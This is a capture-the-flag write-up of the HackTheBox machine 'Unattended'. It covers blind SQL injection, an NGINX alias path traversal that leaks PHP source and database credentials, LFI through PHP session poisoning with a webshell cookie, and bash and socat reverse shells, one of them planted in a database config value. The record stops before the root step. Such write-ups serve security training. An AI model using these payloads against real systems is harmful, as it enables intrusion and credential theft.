HTB: Unattended
Users rated Unattended much harder than the Medium rating it was released under. I think that’s because the SQLI vulnerability was easy to find, but dumping the database would take forever. So the trick was knowing when to continue looking and identify the NGINX vulnerability to leak the source code. At that point, the SQLI was much more manageable, providing LFI which I used with PHP session variables to get RCE and a shell. From there, it was injecting into some commands being taken from the database to move to the next user. And in the final step, examining an initrd file to get the root password. In Beyond Root, I’ll reverse the binary that generates the password, and give some references for initrd backdoors.
Box Info
| Name | Unattended  Play on HackTheBox |
|---|---|
| Release Date | 13 Apr 2019 |
| Retire Date | 24 Aug 2019 |
| OS | Linux  |
| Base Points | Medium [30] |
| Rated Difficulty |  |
| Radar Graph |  |
 |
04:53:07 |
 |
08:00:31 |
| Creator |  |
Recon
nmap
nmap shows only HTTP/HTTPS (TCP 80 and 443) open:
root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.10.126
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-18 02:03 EDT
Nmap scan report for 10.10.10.126
Host is up (0.042s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds
root@kali# nmap -p 80,443 -sV -sC -oA scans/nmap-scripts 10.10.10.126
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-18 02:04 EDT
Nmap scan report for 10.10.10.126
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT
| Not valid before: 2018-12-19T09:43:58
|_Not valid after: 2021-09-13T09:43:58
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds
I’m not going to be able to get the OS version from the nginx version. I do get a domain name, www.nestedflanders.htb. I’ll add both nestedflanders.htb and www.nestedflanders.htb to my hosts file.
Website - TCP 80/443
TLS Certificates
The nmap script for 443 returned a certificate with the common name www.nestedflanders.htb. I can look at the TLS information in more detail with openssl:
root@kali# echo | openssl s_client -showcerts -servername 10.10.10.126 -connect 10.10.10.126:443 2>/dev/null | openssl x509 -inform pem -noout -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
95:68:bd:06:9e:2e:86:4d
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = IT, ST = IT, L = Unattended, O = Unattended ltd, CN = www.nestedflanders.htb
Validity
Not Before: Dec 19 09:43:58 2018 GMT
Not After : Sep 13 09:43:58 2021 GMT
Subject: C = IT, ST = IT, L = Unattended, O = Unattended ltd, CN = www.nestedflanders.htb
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (2048 bit)
Modulus:
00:d1:39:d6:a5:f8:5d:f2:6b:c8:26:91:ec:20:96:
c4:7b:98:c5:0e:1d:7c:f4:f3:a6:4b:76:ab:d1:39:
30:f5:7b:66:4b:c3:75:59:ed:be:11:fb:f5:27:43:
c0:b6:20:13:84:f4:72:e3:74:0b:45:67:28:14:7c:
67:17:7d:ee:17:8e:f5:f3:b0:88:c9:6f:ec:d9:3b:
ad:5f:40:04:03:53:b9:3c:80:09:40:6a:50:1a:db:
79:be:a1:86:9f:96:e2:65:10:c7:b2:68:77:2e:38:
5a:bc:3a:9a:62:3b:40:9b:e3:5c:16:d0:02:9a:7b:
d0:d3:c6:64:49:d2:6d:94:63:ce:ba:46:51:d8:a9:
d0:77:ee:41:a9:63:d6:55:ed:42:6d:de:a2:a8:1c:
bb:78:87:1a:df:78:61:05:14:48:59:62:d1:c2:36:
59:88:bf:b7:4e:4c:0a:cc:33:a0:88:f9:9f:f5:15:
e9:e2:9b:62:a2:f7:3c:26:30:aa:eb:e1:8a:11:45:
01:ff:fe:ba:61:aa:4e:7f:5d:aa:6a:4e:50:95:10:
15:14:a6:c9:42:30:f3:4e:d8:26:af:b3:79:7d:90:
0e:b2:da:ec:77:ad:16:0e:6d:8b:29:69:78:98:48:
5c:4a:02:b3:04:b8:8e:2d:45:6d:5e:3f:df:c7:d5:
94:bb
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
28:DD:E7:F2:85:46:99:9D:3A:E2:B2:5D:99:DB:07:1B:48:2B:69:98
X509v3 Authority Key Identifier:
keyid:28:DD:E7:F2:85:46:99:9D:3A:E2:B2:5D:99:DB:07:1B:48:2B:69:98
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: sha256WithRSAEncryption
c8:0d:0a:a8:50:80:9c:14:a9:ec:90:86:21:52:ae:11:e2:f0:
ce:2f:38:fa:20:98:44:3a:f2:1b:94:b4:a1:31:cb:86:73:58:
72:d2:08:c2:cb:71:e2:a6:0e:76:aa:80:27:41:cf:53:04:5a:
5e:cf:b7:df:8f:5f:47:97:4d:70:ac:48:40:eb:5d:ad:ce:ef:
c1:59:37:e9:e3:bb:73:8f:9c:e3:cb:5d:b2:68:ab:bf:c9:12:
f2:fb:97:af:cc:f3:4e:bb:64:48:10:3d:f9:dd:34:2f:d3:12:
df:c3:e3:06:12:d8:6d:1c:7c:47:4e:01:d8:5b:f6:fd:f7:e2:
46:27:92:72:ce:67:b8:bc:b4:f1:c2:49:8c:a8:98:07:76:d9:
5e:69:f6:16:91:dc:9e:d0:d2:78:4f:74:5f:b5:52:7b:17:60:
8c:a2:15:8e:5b:3f:b8:ab:aa:2c:d7:f2:99:ea:03:9c:29:a0:
31:5b:e8:e5:06:6a:0c:a3:25:24:c1:b1:37:30:bf:26:35:d5:
a8:9f:ce:3a:4c:6b:85:cc:1b:b1:4e:88:b1:94:87:33:f5:2f:
56:a8:87:66:ae:16:1d:a1:e3:81:fd:4e:fc:f5:5a:17:e1:7d:
e6:c5:41:97:3d:fa:1d:52:03:78:39:2a:df:30:20:75:7c:d4:
6d:ce:23:be
Nothing new there.
Fuzz Subdomains
In the background, I’ll kick off a wfuzz to look for any additional subdomains. It doesn’t find anything useful, but always good to check:
root@kali# wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1mil-5000.txt -H "Host: FUZZ.nestedflanders.htb" --hh 2 https://10.10.10.126
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer *
********************************************************
Target: https://10.10.10.126/
Total requests: 4997
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000001: C=200 368 L 933 W 10701 Ch "www"
001176: C=200 368 L 933 W 10701 Ch "WWW"
Total time: 503.8686
Processed Requests: 4997
Filtered Requests: 4995
Requests/sec.: 9.917266
Site
Both the http and https site return only a single . when accessed by ip. But when I add the domain from the certificate to my hosts file, I can start to interact with the site. Visiting port 80 just returns a 301 redirect to the https site:
HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.3
Date: Wed, 19 Jun 2019 15:42:37 GMT
Content-Type: text/html
Content-Length: 185
Connection: close
Location: https://www.nestedflanders.htb
<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.10.3</center>
</body>
</html>
And that site is the Apache default page:
gobuster
I originally ran gobuster with a bunch of threads and got nothing back. But in poking at the site (while gobuster was running), I noticed I was getting a bunch of errors. I re-ran with reduced threads, and while the entire scan took for ever, two paths returned less than 1% in:
root@kali# gobuster -k -u https://www.nestedflanders.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster_443_root_php
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : https://www.nestedflanders.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : php
[+] Timeout : 10s
=====================================================
2019/06/21 01:37:16 Starting gobuster
=====================================================
/index.php (Status: 200)
/dev (Status: 301)
Progress: 1030 / 87665 (1.17%)
index.php
I know the default Apache page I’m seeing is index.html. So seeing index.php in the gobuster results is interesting. There’s both an index.html and an index.php. And it looks like the site is set up to check the html first. So visiting https://www.nestedflanders.htb/index.php returns a page:
It’s a super simple page, with only three obvious links. The text references having to restore to an old website. The about page also references an attack:
The contact page gives more detail:
This may also explain why I couldn’t run gobuster with a high number of threads.
/dev
The /dev/ path is just text:
dev site has been moved to his own server
I immediately checked dev.nestedflanders.htb, but just got back the .. And that’s not surprising since I already ran wfuzz to look for subdomains, but didn’t find any.
Shell as www-data
Blind SQLi
Enumeration
Looking at the main nestedflanders page, I see the three pages each take the format https://www.nestedflanders.htb/index.php?id=[id]. main is id 25, about is 465, and contact is 587. main also seems to load for no id or any other id besides 465 and 587.
I will always check for SQL injection just by adding a ' to the end of the url. In this case, it seems to handle it fine:
But if I check on one of the other two pages, something weird happens:
There I’ve given id=465' and got back the main page, not the about page. So there is some kind of sql going on, but the failed query seems to redirect to the main page instead of crashing.
Blind SQLI POC
I can use this as a blind SQLI proof of concept. If I enter id=587' and 1=1-- -, which I expect to match on page id 587 because 1=1 will always be true, I do get back page 587, contact. But if I enter id=587' and 1=2-- - it returns the main page.
I can put more interesting checks into that spot. For example, if I want to check the version of database running, I can brute force it character by character by replacing the 1=1 with substring(@@version,1,1)=a to check if the first character is a.
So knowing that the database version starts with 1, I can show that this works:
root@kali# if(curl -k -s "https://www.nestedflanders.htb/index.php?id=587'+and+substring(@@version,1,1)='a'--+-" | grep -q 2001); then echo false; else echo true; fi
false
root@kali# if(curl -k -s "https://www.nestedflanders.htb/index.php?id=587'+and+substring(@@version,1,1)='0'--+-" | grep -q 2001); then echo false; else echo true; fi
false
root@kali# if(curl -k -s "https://www.nestedflanders.htb/index.php?id=587'+and+substring(@@version,1,1)='1'--+-" | grep -q 2001); then echo false; else echo true; fi
true
I can even throw together a quick python script that will brute the version for me:
#!/usr/bin/env python3
import requests
import string
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
i = 1
while True:
done = True
for c in string.printable[:-10]:
param = {"id": f"587' and substring(@@version,{i},1)='{c}'-- -"}
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
resp = requests.get("https://www.nestedflanders.htb/index.php", params=param, verify=False, proxies={'https': 'https://127.0.0.1:8080'})
if not "2001" in resp.text:
sys.stdout.write(c)
sys.stdout.flush()
i += 1
done = False
break
if done:
break
root@kali# ./sqli.py
10.1.37-mariadb-0+deb9u1
sqlmap
Scripting this is nice, but I can use sqlmap to find this and exploit it more quickly (though not that much more quickly):
root@kali# sqlmap -u https://www.nestedflanders.htb/index.php?id=587 --level=5 --risk=2 --batch
___
__H__
___ ___[.]_____ ___ ___ {1.3.4#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 08:20:35 /2019-06-22/
[] [INFO] resuming back-end DBMS 'mysql'
[] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=587' AND 4662=4662-- bcKm
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=587' AND SLEEP(5)-- BHIV
---
[] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.10.3
back-end DBMS: MySQL 5 (MariaDB fork)
[] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nestedflanders.htb'
[*] ending @ 08:20:35 /2019-06-22/
Enumerate DB
The thing about blind SQLI is that they are slow. I don’t want to just do --dump or --dump-all, as it will take forever. I will start with some basic enumeration. List the databases:
root@kali# sqlmap -u https://www.nestedflanders.htb/index.php?id=587 --level=5 --risk=2 --batch --dbs
...[snip]...
available databases [2]:
[*] information_schema
[*] neddy
List the tables in the user database, neddy:
root@kali# sqlmap -u https://www.nestedflanders.htb/index.php?id=587 --level=5 --risk=2 --batch -D neddy --tables
...[snip]...
[11 tables]
+--------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+--------------+
This is already looking like a lot to go through. I’m going to stop there and come back if I can’t find anything else (which I will), or when I have specific questions to ask the database.
Find Source
Background
Taking a break from the blind SQLI, there’s another vulnerability. The /dev path says it’s been moved to another server. I failed to find any subdomains for dev, but I’m going to approach this from a different direction. If dev were hosted on a different subdomain, but on this same host, what would that look like? I’d guess that the directory structure would look something like:
/
var
www
html
dev
If that’s the case, I can check for something like path traversal with misconfigured NGINX aliases. In addition, Orange Tsai’s Blackhat 2018 presentation Breaking Parser Logic covers this as well. Basically, when there’s an nginx config with an alias, and it doesn’t add the trailing slash, it can be used to escape the path:
location /i {
alias /data/w3/images/;
}
Orange shows some tests that will identify this problem:
| HTTP Response Code | Path |
|---|---|
| 200 | http://target/assets/app.js |
| 403 | http://target/assets/ |
| 404 | http://target/assets/../settings.py |
| 403 | http://target/assets../ |
| 200 | http://target/assets../ |
| 200 | http://target/assets../settings.py |
The first three are what you’d expect. But the last three are where things get weird, and that’s the vulnerability.
Check for NGINX Alias Bug
I can check for this bug on www.nestedflanders.htb. I don’t have the exact same situation, but I can do the equivalent of the first three tests by checking for index.html and the root and getting 200 for both (in this case I’m allow to access the dir root, so 200 instead of 403):
root@kali# curl -s -k -I https://www.nestedflanders.htb/dev/index.html | grep HTTP
HTTP/1.1 200 OK
root@kali# curl -s -k -I https://www.nestedflanders.htb/dev/ | grep HTTP
HTTP/1.1 200 OK
Things get interesting when I try to go up a directory:
root@kali# curl -s -k -I https://www.nestedflanders.htb/dev../ | grep HTTP
HTTP/1.1 403 Forbidden
That shouldn’t work. But it gives me a forbidden.
Grab Source
Based on my guess of the layout of the folder structure above, I can check for files on the html (default) path:
root@kali# curl -s -k -I https://www.nestedflanders.htb/dev../html/ | grep HTTP
HTTP/1.1 200 OK
I can verify that this is the default apache page by removing the -I option.
What happens when I get index.php? Doing it through a normal path traversal doesn’t work, but through this alias trick does:
root@kali# curl -s -k -I https://www.nestedflanders.htb/dev/../html/index.php | grep HTTP
HTTP/1.1 404 Not Found
root@kali# curl -s -k -I https://www.nestedflanders.htb/dev../html/index.php | grep HTTP
HTTP/1.1 200 OK
If I do a GET instead of a HEAD, I can see the full source for the page:
root@kali# curl -s -k https://www.nestedflanders.htb/dev../html/index.php
<?php
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
...[snip]...
Why am I getting source? In NGINX, you have to configure each server to run requests through a php interpreter. If the dev server isn’t configured to run php, it will just return the static file, without interpreting it.
Find LFI
Source Analysis
With the full source, I can look at what’s happening on the main site:
<?php
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
$conn = new mysqli($servername, $username, $password, $db);
$debug = False;
include "6fb17817efb4131ae4ae1acae0f7fd48.php";
function getTplFromID($conn) {
global $debug;
$valid_ids = array (25,465,587);
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
} else {
$sql = "SELECT name FROM idname where id = '25'";
}
if ($debug) { echo "sqltpl: $sql<br>\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['name'];
}
} else {
$ret = 'main';
}
if ($debug) { echo "rettpl: $ret<br>\n"; }
return $ret;
}
function getPathFromTpl($conn,$tpl) {
global $debug;
$sql = "SELECT path from filepath where name = '".$tpl."'";
if ($debug) { echo "sqlpath: $sql<br>\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['path'];
}
}
if ($debug) { echo "retpath: $ret<br>\n"; }
return $ret;
}
$tpl = getTplFromID($conn);
$inc = getPathFromTpl($conn,$tpl);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<title>Ne(ste)d Flanders</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="bootstrap.min.css">
<script src="jquery.min.js"></script>
<script src="bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<h1>Ne(ste)d Flanders' Portfolio</h1>
</div>
<div class="container">
<div center class="row">
<?php
$sql = "SELECT i.id,i.name from idname as i inner join filepath on i.name = filepath.name where disabled = '0' order by i.id";
if ($debug) { echo "sql: $sql<br>\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
//if ($debug) { echo "rowid: ".$row['id']."<br>\n"; } // breaks layout
echo '<div class="col-md-2"><a href="index.php?id='.$row['id'].'" target="maifreim">'.$row['name'].'</a></div>';
}
} else {
?>
<div class="col-md-2"><a href="index.php?id=25">main</a></div>
<div class="col-md-2"><a href="index.php?id=465">about</a></div>
<div class="col-md-2"><a href="index.php?id=587">contact</a></div>
<?php
}
?>
</div> <!-- row -->
</div> <!-- container -->
<div class="container">
<div class="row">
<!-- <div align="center"> -->
<?php
include("$inc");
?>
<!-- </div> -->
</div> <!-- row -->
</div> <!-- container -->
<?php if ($debug) { echo "include $inc;<br>\n"; } ?>
</body>
</html>
<?php
$conn->close();
?>
There’s a static sql query in the middle for setting the post, but there’s nothing I can do to interact with that. The part that jumped out at me as interesting is:
<?php
include("$inc");
?>
Where is $inc set?
function getTplFromID($conn) {
global $debug;
$valid_ids = array (25,465,587);
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
} else {
$sql = "SELECT name FROM idname where id = '25'";
}
if ($debug) { echo "sqltpl: $sql<br>\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['name'];
}
} else {
$ret = 'main';
}
if ($debug) { echo "rettpl: $ret<br>\n"; }
return $ret;
}
function getPathFromTpl($conn,$tpl) {
global $debug;
$sql = "SELECT path from filepath where name = '".$tpl."'";
if ($debug) { echo "sqlpath: $sql<br>\n"; }
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$ret = $row['path'];
}
}
if ($debug) { echo "retpath: $ret<br>\n"; }
return $ret;
}
$tpl = getTplFromID($conn);
$inc = getPathFromTpl($conn,$tpl);
?>
So the first function takes an $id from the get request and return a template name (stored as $tpl). The second function takes that templace name and returns the path to the file to include (stored as $inc). Each function does an sql look-up.
Bypassing Checks
The thing I can control, the id in the GET request, is first put through some checks that on first look appear like they would stop any injection attempt:
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
} else {
$sql = "SELECT name FROM idname where id = '25'";
}
I need that first if to result in true, or the number 25 is used instead of my input, and I’m out of luck. There’s three checks that each need to be true:
-
array_key_exists('id', $_GET)- This is simple. The parameter needs to be there. Check. -
intval($_GET['id']) == $_GET['id']- This is where it feels like I would fail. But I can take advantage of two things here. First,intvalwill try to process the string such that if it starts with an int, that is what’s used and the rest is dropped. I can demponstrate in aphpshell (php -afrom the terminal):php > echo intval("25"); 25 php > echo intval("25 0xdf this is a test"); 25Now, php is going to compare my input string to the int 25. This is where the difference between == and === comes into place in php. It turns out that
25 == "25 0xdf this is a test"is true.php > if (25 == "25 0xdf this is a test") { echo "true"; } else { echo "false";} ; true php > if (25 === "25 0xdf this is a test") { echo "true"; } else { echo "false";} ; falseAll of this is to say that as long as my input starts with a number followed by a space, I can pass this check.
-
in_array(intval($_GET['id']),$valid_ids)- Given what I showed in 2., this isn’t really a challenge. I just need to make sure my input starts with one of the three numbers in$valid_id.
Controlling id –> tpl
I’ll look at the first sql query:
SELECT name FROM idname where id = $_GET['id']
I can use my SQLI to see what that table looks look:
root@kali# sqlmap -u https://www.nestedflanders.htb/index.php?id=587 --level=5 --risk=2 --batch -D neddy -T idname --dump
...[snip]...
+-----+-------------+----------+
| id | name | disabled |
+-----+-------------+----------+
| 1 | main.php | 1 |
| 2 | about.php | 1 |
| 3 | contact.php | 1 |
| 25 | main | 0 |
| 465 | about | 0 |
| 587 | contact | 0 |
+-----+-------------+----------+
So it’s going to return a string, and the expected three values are main, about, and contact. To see if I can control the output of this function, I’ll start with id 587, and see if I can get it to load the about page (id 465). I’ll want a query that looks like:
SELECT name FROM idname where id = 587 and 1=2 UNION select "about"
So I’ll submit:
587' and 1=2 UNION select 'about'-- -
It worked, returning the about page:
Controlling tpl –> inc
Now that I can put whatever I want into tpl, I’ll inject again to control what is included in the page. From the source, I see the SQL query will be:
SELECT path from filepath where name = $tpl
Again, I can use the injection to see what’s in that table:
root@kali# sqlmap -u https://www.nestedflanders.htb/index.php?id=587 --level=5 --risk=2 --batch -D neddy -T filepath --dump
...[snip]...
+---------+--------------------------------------+
| name | path |
+---------+--------------------------------------+
| about | 47c1ba4f7b1edf28ea0e2bb250717093.php |
| contact | 0f710bba8d16303a415266af8bb52fcb.php |
| main | 787c75233b93aa5e45c3f85d130bfbe7.php |
+---------+--------------------------------------+
The table maps the tpl string to a page to include.
So fully control that, I want the query to look like:
SELECT path from filepath where name = 0xdf UNION select /etc/passwd
Since 0xdf does not exist, the only return will be the path I passed, /etc/passwd.
Since I need this to pass through the previous function, I’ll start with that injection, and replace about with the second injection:
587' and 1=2 UNION select '0xdf\' union select \'/etc/passwd\'-- -'-- -
That worked, I got /etc/passwd:
Shell
PHP Session File
I don’t have a direct way to write a webshell to disk to have it included. However, I can do some log/session poisoning. I’ll write my php shell into a cookie so that it poisons the php session data, and read that out of /var/lib/php/sessions/. I’ll look at my last successful request and get the PHPSESSID cookie value, in my case 6mprk04iu3frud82i1pvnfehl1. Now I’ll send that injection to repeater and replace /etc/passwd with /var/lib/php/sessions/sess_6mprk04iu3frud82i1pvnfehl1:
Click for full size imageI’ve marked in red the included part, which contains the PHPSESSID. If that is set by a cookie, can I set other data there? I’ll add a test cookie:
Click for full size imageIt may take a couple page loads for the new cookie to write to the file, but it’s there eventually.
Webshell
I’ll add a new cookie:
shell=<?php system($_GET['cmd']); ?>
I’ll url-encode that and submit a couple times:
Click for full size imageShell
Now I can update the cmd to bash -c 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1' (url-encoded) and catch a shell with nc:
root@kali# nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.126.
Ncat: Connection from 10.10.10.126:43858.
bash: cannot set terminal process group (605): Inappropriate ioctl for device
bash: no job control in this shell
www-data@unattended:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell Upgrade
Normally I would run the python -c 'import pty;pty.spawn("bash")' trick here, but there’s no python on the box:
www-data@unattended:/var/www/html$ which python
www-data@unattended:/var/www/html$ which python3
www-data@unattended:/var/www/html$ locate python
bash: locate: command not found
www-data@unattended:/var/www/html$ find / -type f -name python* 2>/dev/null
/usr/share/nano/python.nanorc
But socat is:
www-data@unattended:/var/www/html$ which socat
/usr/bin/socat
I can actually just use socat to get a full tty. I’ll update my webshell command to socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.8:443 and url-encode it.:
Then I’ll listen with socat, and on hitting submit in repeater, I get a shell:
root@kali# socat file:`tty`,raw,echo=0 tcp-listen:443,reuseaddr
www-data@unattended:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell as guly
System Hardening
hidepid=2
The box author hardened this box such that I can’t see other users processes. He did this by mounting /proc with hidepid=2. I can see this by running mount:
guly@unattended:/boot$ mount | grep ^proc
proc on /proc type proc (rw,relatime,hidepid=2)
This explains why when I run ps auwxx I only see processes belonging to my current user:
guly@unattended:/boot$ ps awuxx
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
guly 825 0.0 0.0 4288 764 ? S 01:32 0:00 sh -c socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10
guly 826 0.0 0.1 30880 3376 ? S 01:32 0:01 socat exec:bash -li,pty,stderr,setsid,sigint,sane tcp:10.10.14.8:44
guly 827 0.0 0.1 20208 3900 pts/1 Ss 01:32 0:00 bash -li
guly 10904 0.0 0.1 38308 3308 pts/1 R+ 15:46 0:00 ps awuxx
It also makes pspy relatively useless as well.
tmp noexec
The mount command also shows that most of the places I like to run scripts from are mounted with noexec:
guly@unattended:/boot$ mount | grep -e "tmp " -e shm
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
Enumeration
As www-data, I can see the only homedir, guly, but I can’t access it:
www-data@unattended:/home$ ls
guly
www-data@unattended:/home$ cd guly/
bash: cd: guly/: Permission denied
Eventually, I decided to take a look at what was in the database, now that I could access it more easily. The credentials were in the php source so I can connect with mysql:
www-data@unattended:/home$ mysql -u nestedflanders -p1036913cf7d38d4ea4f79b050f171e9fbf3f5e
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 41
Server version: 10.1.37-MariaDB-0+deb9u1 Debian 9.6
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
The interesting database was neddy. I’ll check out the tables again:
MariaDB [neddy]> use neddy;
Database changed
MariaDB [neddy]> show tables;
+-----------------+
| Tables_in_neddy |
+-----------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+-----------------+
11 rows in set (0.00 sec)
I’ll check the config table:
MariaDB [neddy]> select * from config;
+-----+-------------------------+--------------------------------------------------------------------------+
| id | option_name | option_value |
+-----+-------------------------+--------------------------------------------------------------------------+
| 54 | offline | 0 |
| 55 | offline_message | Site offline, please come back later |
| 56 | display_offline_message | 0 |
| 57 | offline_image | |
| 58 | sitename | NestedFlanders |
| 59 | editor | tinymce |
| 60 | captcha | 0 |
| 61 | list_limit | 20 |
| 62 | access | 1 |
| 63 | debug | 0 |
| 64 | debug_lang | 0 |
| 65 | dbtype | mysqli |
| 66 | host | localhost |
| 67 | live_site | |
| 68 | gzip | 0 |
| 69 | error_reporting | default |
| 70 | ftp_host | 127.0.0.1 |
| 71 | ftp_port | 21 |
| 72 | ftp_user | flanders |
| 73 | ftp_pass | 0e1aff658d8614fd0eac6705bb69fb684f6790299e4cf01e1b90b1a287a94ffcde451466 |
| 74 | ftp_root | / |
| 75 | ftp_enable | 1 |
| 76 | offset | UTC |
| 77 | mailonline | 1 |
| 78 | mailer | mail |
| 79 | mailfrom | nested@nestedflanders.htb |
| 80 | fromname | Neddy |
| 81 | sendmail | /usr/sbin/sendmail |
| 82 | smtpauth | 0 |
| 83 | smtpuser | |
| 84 | smtppass | |
| 85 | smtppass | |
| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; |
| 87 | smtphost | localhost |
| 88 | smtpsecure | none |
| 89 | smtpport | 25 |
| 90 | caching | 0 |
| 91 | cache_handler | file |
| 92 | cachetime | 15 |
| 93 | MetaDesc | |
| 94 | MetaKeys | |
| 95 | MetaTitle | 1 |
| 96 | MetaAuthor | 1 |
| 97 | MetaVersion | 0 |
| 98 | robots | |
| 99 | sef | 1 |
| 100 | sef_rewrite | 0 |
| 101 | sef_suffix | 0 |
| 102 | unicodeslugs | 0 |
| 103 | feed_limit | 10 |
| 104 | lifetime | 1 |
| 105 | session_handler | file |
+-----+-------------------------+--------------------------------------------------------------------------+
52 rows in set (0.00 sec)
Row 86, checkrelease looks interesting:
/home/guly/checkbase.pl;/home/guly/checkplugins.pl;
Shell
I can’t see those scripts, but it’s seems like a command line that might get run by something. I’ll start another socat listener, and I’ll add my own command in:
MariaDB [neddy]> update config set option_value = "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.8:443" where id = 86;
Query OK, 1 rows affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
MariaDB [neddy]> select * from config where id = 86;
+----+--------------+------------------------------------------------------------------------+
| id | option_name | option_value |
+----+--------------+------------------------------------------------------------------------+
| 86 | checkrelease | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.8:443 |
+----+--------------+------------------------------------------------------------------------+
1 row in set (0.00 sec)
A minute later I check it again, and it’s been reset:
MariaDB [neddy]> select * from config where id = 86;
+----+--------------+-----------------------------------------------------+
| id | option_name | option_value |
+----+--------------+-----------------------------------------------------+
| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; |
+----+--------------+-----------------------------------------------------+
1 row in set (0.00 sec)
And I have a shell on my listener:
root@kali# socat file:`tty`,raw,echo=0 tcp-listen:443,reuseaddr
guly@unattended:~$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),47(grub),108(netdev)
From there I can grab user.txt:
guly@unattended:~$ cat user.txt
9b413f37...
Priv: guly –> root
Enumeration
